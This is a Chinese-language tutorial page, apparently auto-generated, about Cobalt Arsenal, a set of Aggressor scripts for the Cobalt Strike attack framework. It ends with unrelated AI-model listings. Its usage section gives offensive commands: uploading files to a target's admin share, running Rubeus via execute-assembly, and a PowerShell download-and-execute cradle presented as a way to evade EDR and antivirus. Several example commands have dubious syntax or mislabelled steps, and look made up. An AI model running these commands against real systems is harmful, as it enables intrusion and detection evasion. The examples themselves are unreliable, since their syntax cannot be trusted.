Cobalt Arsenal 项目教程
1. 项目介绍
Cobalt Arsenal 是由 Mariusz Banach 开发的一个开源项目,旨在为 Cobalt Strike 提供一系列经过实战检验的 Aggressor 脚本。这些脚本极大地增强了 Cobalt Strike 的功能,使其在红队操作和对手模拟中更加灵活和高效。项目包含了超过 3300 行代码,涵盖了从 Beacon 管理到 Payload 生成等多个方面的实用工具和增强功能。
2. 项目快速启动
2.1 环境准备
在开始之前,确保你已经安装了 Cobalt Strike 4.0 或更高版本,并且熟悉基本的 Aggressor 脚本语法。
2.2 下载与安装
-
克隆项目到本地:
git clone https://github.com/mgeeky/cobalt-arsenal.git -
将项目中的
.cna脚本文件复制到 Cobalt Strike 的scripts目录下。
2.3 加载脚本
在 Cobalt Strike 中,通过 Script Manager 加载所需的 Aggressor 脚本。例如,加载 better-upload.cna:
script_import "better-upload.cna"
2.4 使用示例
以下是一个简单的使用示例,展示如何使用 better-upload.cna 脚本上传文件到目标主机:
beacon> upload /path/to/local/file.exe \\target\c$\path\to\remote\file.exe
3. 应用案例和最佳实践
3.1 案例一:自动化初始任务
使用 Beacon_Initial_Tasks.cna 脚本,可以在 Beacon 首次签到时自动执行预定义的任务。例如,设置初始任务为执行一个 PowerShell 命令:
beacon> set_initial_tasks "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"
3.2 案例二:自定义 PowerShell 下载执行
使用 custom-powershell-hooks.cna 脚本,可以自定义 PowerShell 下载和执行的命令,避免被常见的 EDR 和 AV 检测:
beacon> set POWERSHELL_DOWNLOAD_CRADLE "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"
4. 典型生态项目
4.1 Cobalt Strike 官方社区工具包
Cobalt Strike 官方提供了一个社区工具包(Community Kit),其中包含了大量由社区贡献的 Aggressor 脚本和工具,可以与 Cobalt Arsenal 结合使用,进一步提升红队操作的效率。
4.2 Outflank Security Tooling
Outflank Security Tooling 是一个精选的进攻性安全工具集,设计用于增强 Cobalt Strike 的规避能力。通过与 Cobalt Strike 结合使用,可以扩展红队操作的范围和深度。
4.3 Core Impact
Core Impact 是 Fortra 提供的一款渗透测试工具,可以与 Cobalt Strike 协同工作,共享资源并部署 Beacon 进行会话传递和隧道功能。结合使用可以提供更全面的渗透测试解决方案。
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Python00
HunyuanVideo-1.5暂无简介00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00